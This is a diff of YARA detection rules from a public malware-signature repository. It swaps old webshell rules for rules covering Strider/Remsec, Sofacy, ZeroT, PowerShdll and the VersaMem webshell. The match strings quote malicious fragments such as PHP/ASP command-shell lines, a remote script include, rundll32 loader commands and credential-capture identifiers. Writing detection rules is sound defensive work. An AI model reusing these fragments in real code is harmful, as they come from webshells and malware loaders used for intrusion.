+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_strider.yara#L22-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "957e5b6afabec3fb1b169dd85d0e950107e219f7dec8ef779a18bd90d9824a97"
+		score = 80
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "Vanquish - DLL injection failed:"
+		$code = { 31 06 48 83 C6 04 D1 E8 73 05 35 01 00 00 D0 E2 EF }
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_Down_Rar_Folder_Down
+rule SIGNATURE_BASE_Remsec_Executable_Blob_Parser
 {
 	meta:
-		description = "Webshells Auto-generated - file down.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4e0a0e03-4f01-5b58-807c-0934cdda77ab"
-		date = "2023-12-05"
+		description = "Detects malware from Symantec's Strider APT report"
+		author = "Symantec"
+		id = "b2189bfe-7b84-5fe9-8829-64f49d1e2030"
+		date = "2016-08-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8878-L8889"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "db47d7a12b3584a2e340567178886e71"
-		logic_hash = "bc666d6333d49a2b01553e1946fc304195193b9be92e26805474e64da61455da"
-		score = 75
+		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_strider.yara#L36-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2f6db962807c07ff1bbe8b53eeb386d7b0ac88f95b76439c0d8b65d597739bdd"
+		score = 80
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "response.write \"<font color=blue size=2>NetBios Name: \\\\\"  & Snet.ComputerName &"
+		$code = { ( 0F 82 ?? ?? 00 00 | 72 ?? ) ( 80 | 41 80 ) ( 7? | 7C 24 ) 04 02 ( 0F 85 ?? ?? 00 00 | 75 ?? ) ( 81 | 41 81 ) ( 3? | 3C 24 | 7D 00 ) 02 AA 02 C1 ( 0F 85 ?? ?? 00 00 | 75 ?? ) ( 8B | 41 8B | 44 8B | 45 8B ) ( 4? | 5? | 6? | 7? | ?4 24 | ?C 24 ) 06 }
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_Cmdshell
+rule SIGNATURE_BASE_Remsec_Encrypted_Api
 {
 	meta:
-		description = "Webshells Auto-generated - file cmdShell.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "be256fc4-8dc5-58e4-9ca2-5a1df936b8dd"
-		date = "2023-12-05"
+		description = "Detects malware from Symantec's Strider APT report"
+		author = "Symantec"
+		id = "1aa3380b-d704-5eb9-b25d-f4bf20ae7179"
+		date = "2016-08-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8890-L8901"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8a9fef43209b5d2d4b81dfbb45182036"
-		logic_hash = "5e7c7537b355b162d58b8bce570b1f94a8e6b479856685a245ffaed8f9482680"
-		score = 75
+		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_strider.yara#L50-L62"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4f10c24a8480c17c2939fe3fecba2820b22f8a47bc2b2e73ac1080a355025d7c"
+		score = 80
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "if cmdPath=\"wscriptShell\" then"
+		$open_process = { 91 9A 8F B0 9C 90 8D AF 8C 8C 9A FF }
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_Zxshell2_0_Rar_Folder_Nc
+rule SIGNATURE_BASE_Remsec_Packer_A
 {
 	meta:
-		description = "Webshells Auto-generated - file nc.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "106209fc-f957-5131-825b-8eb7835625e0"
-		date = "2023-12-05"
+		description = "Detects malware from Symantec's Strider APT report"
+		author = "Symantec"
+		id = "d75198ab-b1ea-572a-a674-9a38c3e2958b"
+		date = "2016-08-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8902-L8916"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2cd1bf15ae84c5f6917ddb128827ae8b"
-		logic_hash = "6106758aedb33f8983f387a58fcd815c47f793cd2a7ea3b0ebed13dd1d5b6e83"
-		score = 75
+		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_strider.yara#L64-L76"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b46a41686fbf1c63e8a8b583859f23bf789bc9f11ee6b1fb01bb08e602772e76"
+		score = 80
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "WSOCK32.dll"
-		$s1 = "?bSUNKNOWNV"
-		$s7 = "p@gram Jm6h)"
-		$s8 = "ser32.dllCONFP@"
+		$code = { 69 ( C? | D? | E? | F? ) AB 00 00 00 ( 81 | 41 81 ) C? CD 2B 00 00 ( F7 | 41 F7 ) E? ( C1 | 41 C1 ) E? 0D ( 69 | 45 69 ) ( C? | D? | E? | F? ) 85 CF 00 00 ( 29 | 41 29 | 44 29 | 45 29 | 2B | 41 2B | 44 2B | 45 2B ) }
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_Portlessinst
+rule SIGNATURE_BASE_Remsec_Packer_B
 {
 	meta:
-		description = "Webshells Auto-generated - file portlessinst.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c641c522-7844-5002-8ae7-4aaf60d1337d"
-		date = "2023-12-05"
+		description = "Detects malware from Symantec's Strider APT report"
+		author = "Symantec"
+		id = "18e7f84e-27f2-532d-9ead-0db6e9e6c0b2"
+		date = "2016-08-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8917-L8930"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "74213856fc61475443a91cd84e2a6c2f"
-		logic_hash = "72ca80de2ad2048d1fcbbffeebd0e4fd7d9d47d6736360674e6a85ef9943abe8"
-		score = 75
+		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_strider.yara#L78-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9c63b5934d60b59a33364ef56c913220e59b9798a682a7f97e6755270adf4e4b"
+		score = 80
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "Fail To Open Registry"
-		$s3 = "f<-WLEggDr\""
-		$s6 = "oMemoryCreateP"
+		$code = { 48 8B 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 05 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 89 44 24 ?? 48 8D ( 45 ?? | 84 24 ?? ?? 00 00 ) ( 44 88 6? 24 ?? | C6 44 24 ?? 00 ) 48 89 44 24 ?? 48 8D ( 45 ?? | 84 24 ?? ?? 00 00 ) C7 44 24 ?? 0? 00 00 00 2B ?8 48 89 ?C 24 ?? 44 89 6? 24 ?? 83 C? 08 89 ?C 24 ?? ( FF | 41 FF ) D? ( 05 | 8D 88 ) 00 00 00 3A }
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_Setupbdoor
+rule SIGNATURE_BASE_Powershdll
 {
 	meta:
-		description = "Webshells Auto-generated - file SetupBDoor.exe"
+		description = "Detects hack tool PowerShdll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "055ff783-fa9f-5037-a3d6-88b58ec1612f"
-		date = "2023-12-05"
+		id = "cc0e01ca-77f0-5665-8b1e-48c8e947d0d3"
+		date = "2017-08-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8931-L8942"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "41f89e20398368e742eda4a3b45716b6"
-		logic_hash = "b4b6a0e4b9f8975d769d340a420af37dbc344d32c72447a8c56b05e985e6d806"
+		reference = "https://github.com/p3nt4/PowerShdll"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershdll.yar#L9-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6c93eca642cc29e6ce661e6ea975bc1a88fff4e6a4825c1da3f82b3a6701392a"
 		score = 75
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4d33bc7cfa79d7eefc5f7a99f1b052afdb84895a411d7c30045498fd4303898a"
+		hash2 = "f999db9cc3a0719c19f35f0e760f4ce3377b31b756d8cd91bb8270acecd7be7d"
 
 	strings:
-		$s1 = "\\BDoor\\SetupBDoor"
+		$x1 = "rundll32 PowerShdll,main -f <path>" fullword wide
+		$x2 = "\\PowerShdll.dll" ascii
+		$x3 = "rundll32 PowerShdll,main <script>" fullword wide
 
 	condition:
-		all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Phpshell_3
+rule SIGNATURE_BASE_WEBSHELL_JAVA_Versamem_JAR_Aug24_1 : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file phpshell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2f0ddfef-b3b5-592b-a9fb-fae4d825d0af"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8943-L8955"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e8693a2d4a2ffea4df03bb678df3dc6d"
-		logic_hash = "b86fa40fd7bbcae86926182882faa226530e44c20bc611b8433a7da7f012106c"
+		description = "Detects VersaMem Java webshell samples (as used by Volt Typhoon)"
+		author = "blacklotuslabs (modified by Florian Roth and X__Junior)"
+		id = "9b666e61-cfa8-58b3-a362-772cd907c57c"
+		date = "2024-08-27"
+		modified = "2024-08-29"
+		reference = "https://x.com/ryanaraine/status/1828440883315999117"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_volttyphoon_versamem.yar#L2-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d21558eb6c8e700b8a4cb86fdaa5487179828152af68828e878397859d6d3952"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s3 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p>"
-		$s5 = "      echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>\\n\";"
+		$sa1 = "com.versa.vnms.ui.TestMain"
+		$sa2 = "captureLoginPasswordCode"
+		$sa3 = "com/versa/vnms/ui/services/impl/VersaAuthenticationServiceImpl"
+		$sa4 = "/tmp/.temp.data"
+		$sa5 = "getInsertCode"
+		$sa6 = "VersaMem"
+		$sa7 = "Versa-Auth"
+		$sb1 = "/tmp/.java_pid"
+		$sb2 = {2f 75 73 72 2f 62 69 6e 2f 70 67 72 65 70 01 00 02 2d 66 01 00 25 6f 72 67 2e 61 70 61 63 68 65 2e 63 61 74 61 6c 69 6e 61 2e 73 74 61 72 74 75 70 2e 42 6f 6f 74 73 74 72 61 70 07}
 
 	condition:
-		all of them
+		filesize <5MB and (3 of them or all of ($sb*))
 }
-rule SIGNATURE_BASE_BIN_Server
+rule SIGNATURE_BASE_WEBSHELL_JAVA_Versamem_JAR_Aug24_2 : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file Server.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1625b0ee-5f9f-57d8-8333-f175f46d6c59"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8956-L8972"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1d5aa9cbf1429bb5b8bf600335916dcd"
-		logic_hash = "34f9d78e0f61717fae2945e7a833c2c6d59e28035ee95da2c5d32b4e196bc957"
+		description = "Detects VersaMem Java webshell samples (as used by Volt Typhoon)"
+		author = "Florian Roth"
+		id = "5ca598ed-5d0a-563d-a5e8-f8229af2c949"
+		date = "2024-08-29"
+		modified = "2024-08-29"
+		reference = "https://x.com/craiu/status/1828687700884336990"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_volttyphoon_versamem.yar#L26-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0bdf3bf5130c51c1355f179704933ca473a702595c580642035c8d3b9aad5725"
 		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		quality = 60
+		tags = "FILE"
+		hash1 = "4bcedac20a75e8f8833f4725adfc87577c32990c3783bf6c743f14599a176c37"
 
 	strings:
-		$s0 = "configserver"
-		$s1 = "GetLogicalDrives"
-		$s2 = "WinExec"
-		$s4 = "fxftest"
-		$s5 = "upfileok"
-		$s7 = "upfileer"
+		$x1 = "tomcat_memShell" ascii
+		$x2 = "versa/vnms/ui/config/" ascii fullword
 
 	condition:
-		all of them
+		uint16(0)==0x4b50 and filesize <3000KB and 1 of them
 }
-rule SIGNATURE_BASE_Hytop2006_Rar_Folder_2006
+rule SIGNATURE_BASE_Typical_Malware_String_Transforms : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file 2006.asp"
+		description = "Detects typical strings in a reversed or otherwise modified form"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"
-		date = "2023-12-05"
+		id = "86f348b5-0564-5d83-bbea-4f4a5f62fd30"
+		date = "2016-07-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8973-L8984"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c19d6f4e069188f19b08fa94d44bc283"
-		logic_hash = "536232bbdd21bddb88eefe06a82927abcdd3ed10404c052957896960a6d10932"
-		score = 75
-		quality = 85
-		tags = ""
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_transformed_strings.yar#L10-L56"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1d3813e0d20b82ceda56d03589bb944f747dfe931396ed514fb6b36f72f98c26"
+		score = 60
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s6 = "strBackDoor = strBackDoor "
+		$e1 = "exe.tsohcvs" fullword ascii
+		$e2 = "exe.ssasl" fullword ascii
+		$e3 = "exe.rerolpxe" fullword ascii
+		$e4 = "exe.erolpxei" fullword ascii
+		$e5 = "exe.23lldnur" fullword ascii
+		$e6 = "exe.dmc" fullword ascii
+		$e7 = "exe.llikksat" fullword ascii
+		$l1 = "lld.23lenreK" fullword ascii
+		$l2 = "lld.ESABLENREK" fullword ascii
+		$l3 = "lld.esabtpyrc" fullword ascii
+		$l4 = "lld.trcvsm" fullword ascii
+		$l5 = "LLD.LLDTN" fullword ascii
+		$i1 = "paeHssecorPteG" fullword ascii
+		$i2 = "sserddAcorPteG" fullword ascii
+		$i3 = "AyrarbiLdaoL" fullword ascii
+		$i4 = "AssecorPetaerC" fullword ascii
+		$r1 = "teSlortnoCtnerruC" fullword ascii
+		$r2 = "nuR\\noisreVtnerruC" fullword ascii
+		$f1 = "\\23metsys\\" ascii
+		$f2 = "\\23metsyS\\" ascii
+		$f3 = "niB.elcyceR$" fullword ascii
+		$f4 = "%tooRmetsyS%" fullword ascii
+		$fp1 = "Application Impact Telemetry Static Analyzer" fullword wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and 1 of them and not 1 of ($fp*))
 }
-rule SIGNATURE_BASE_R57Shell_3
+import "pe"
+
+rule SIGNATURE_BASE_Sofacy_Oct17_1 : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file r57shell.php"
+		description = "Detects Sofacy malware reported in October 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4129d77c-2981-587b-a83e-8767dc3a48d8"
-		date = "2023-12-05"
+		id = "6896dcf3-e422-5a40-bc1e-d1f35ae95c14"
+		date = "2017-10-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8985-L8996"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "87995a49f275b6b75abe2521e03ac2c0"
-		logic_hash = "0fdca080c7ce57b7bd818a968840aebf3c5c74f188ed062fec794bfadb4e75b0"
+		reference = "http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_oct17_camp.yar#L13-L47"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c3620d0b347e6cc54af9e046f6b3b6515bfa23dd11225ce2720e09838708a42e"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "522fd9b35323af55113455d823571f71332e53dde988c2eb41395cf6b0c15805"
 
 	strings:
-		$s1 = "<b>\".$_POST['cmd']"
+		$x1 = "%localappdata%\\netwf.dll" fullword wide
+		$x2 = "set path = \"%localappdata%\\netwf.dll\"" fullword ascii
+		$x3 = "%localappdata%\\netwf.bat" fullword wide
+		$x4 = "KlpSvc.dll" fullword ascii
+		$g1 = "set path = \"%localappdata%\\" ascii
+		$g2 = "%localappdata%\\" wide
+		$s1 = "start rundll32.exe %path %,#1a" fullword ascii
+		$s2 = "gshell32" fullword wide
+		$s3 = "s - %lu" fullword ascii
+		$s4 = "be run i" fullword ascii
+		$s5 = "ingToBinhary" fullword ascii
+		$s6 = "%j%Xjs" fullword ascii
+		$s7 = "if NOT exist %path % (exit)" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="a2d1be6502b4b3c28959a4fb0196ea45" or pe.exports("KlpSvc") or (1 of ($x*) or 4 of them ) or ($s1 and all of ($g*)))
 }
-rule SIGNATURE_BASE_Hdconfig
+import "pe"
+
+rule SIGNATURE_BASE_Sofacy_Oct17_2 : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file HDConfig.exe"
+		description = "Detects Sofacy malware reported in October 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6f743137-e85a-5298-b51e-c8792e507d28"
-		date = "2023-12-05"
+		id = "c820eab0-9b64-5718-8681-a4f515ee462b"
+		date = "2017-10-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8997-L9012"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7d60e552fdca57642fd30462416347bd"
-		logic_hash = "9001f79db15548cf3ca931d0043d078db7d900ab26093afbf5cd44d0a85800f4"
-		score = 60
-		quality = 55
-		tags = ""
+		reference = "http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_oct17_camp.yar#L49-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c2736cf9efbb022590f4c23986531e645ac412a5b98a950b143f2d75a33e8063"
+		score = 75
+		quality = 85
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ef027405492bc0719437eb58c3d2774cc87845f30c40040bbebbcc09a4e3dd18"
 
 	strings:
-		$s0 = "An encryption key is derived from the password hash. "
-		$s3 = "A hash object has been created. "
-		$s4 = "Error during CryptCreateHash!"
-		$s5 = "A new key container has been created."
-		$s6 = "The password has been added to the hash. "
+		$x1 = "netwf.dll" fullword wide
+		$s1 = "%s - %s - %2.2x" fullword wide
+		$s2 = "%s - %lu" fullword ascii
+		$s3 = "%s \"%s\", %s" fullword wide
+		$s4 = "%j%Xjsf" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <90KB and (pe.imphash()=="13344e2a717849489bcd93692f9646f7" or (4 of them ))) or ( all of them )
 }
-rule SIGNATURE_BASE_FSO_S_Ajan_2
+rule SIGNATURE_BASE_PP_CN_APT_Zerot_1 : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file ajan.asp"
+		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a66c34ed-0ae2-5e04-bfc4-c82583c5e066"
-		date = "2023-12-05"
+		id = "c16f3abb-ac7e-5d5f-b8d7-b105cff3886e"
+		date = "2017-02-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9013-L9025"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "22194f8c44524f80254e1b5aec67b03e"
-		logic_hash = "0ac31ee735c94289932369dfba5b408cbf71cc23fd48ce3e09dc7ce640a0d733"
+		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_pp_zerot.yar#L11-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ad3018e6aa377b5032b04226ecb1e27b2cc7bc8294455ea51e426b5182ed7821"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "09061c603a32ac99b664f7434febfc8c1f9fd7b6469be289bb130a635a6c47c0"
 
 	strings:
-		$s2 = "\"Set WshShell = CreateObject(\"\"WScript.Shell\"\")"
-		$s3 = "/file.zip"
+		$s1 = "suprise.exe" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-rule SIGNATURE_BASE_Webshell_And_Exploit_CN_APT_HK : WEBSHELL
+rule SIGNATURE_BASE_PP_CN_APT_Zerot_2 : FILE
 {
 	meta:
-		description = "Webshell and Exploit Code in relation with APT against Honk Kong protesters"
+		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "eb37a22b-4e8a-5986-bd47-4ef5b4986f47"
-		date = "2014-10-10"
+		id = "8433216e-1189-568c-bd18-051fb1fec215"
+		date = "2017-02-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9027-L9042"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ec3f1e985585e1bf77a46e971a20cd127064a64467761a5a570548dd63ec57e2"
-		score = 50
+		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_pp_zerot.yar#L26-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e31ade3690938fe0999423fbe446d9426e14abd01ebbada4eed8bddb1e2c9ea6"
+		score = 75
 		quality = 85
-		tags = "WEBSHELL"
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "74eb592ef7f5967b14794acdc916686e061a43169f06e5be4dca70811b9815df"
 
 	strings:
-		$a0 = "<script language=javascript src=http://java-se.com/o.js</script>" fullword
-		$s0 = "<span style=\"font:11px Verdana;\">Password: </span><input name=\"password\" type=\"password\" size=\"20\">"
-		$s1 = "<input type=\"hidden\" name=\"doing\" value=\"login\">"
+		$s1 = "NO2-2016101902.exe" fullword ascii
 
 	condition:
-		$a0 or ( all of ($s*))
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-rule SIGNATURE_BASE_JSP_Browser_APT_Webshell
+rule SIGNATURE_BASE_PP_CN_APT_Zerot_3 : FILE
 {
 	meta:
-		description = "VonLoesch JSP Browser used as web shell by APT groups - jsp File browser 1.1a"
+		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "06988b5b-ec8b-5a10-b659-3e846057ea51"
-		date = "2014-10-10"
+		id = "99aa29cf-d962-5a3d-bd28-6486c40822bb"
+		date = "2017-02-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9044-L9058"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a352bf394f1b4f70218650758db39225a5a505656299405ccd077592d29480a7"
-		score = 60
+		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_pp_zerot.yar#L41-L59"
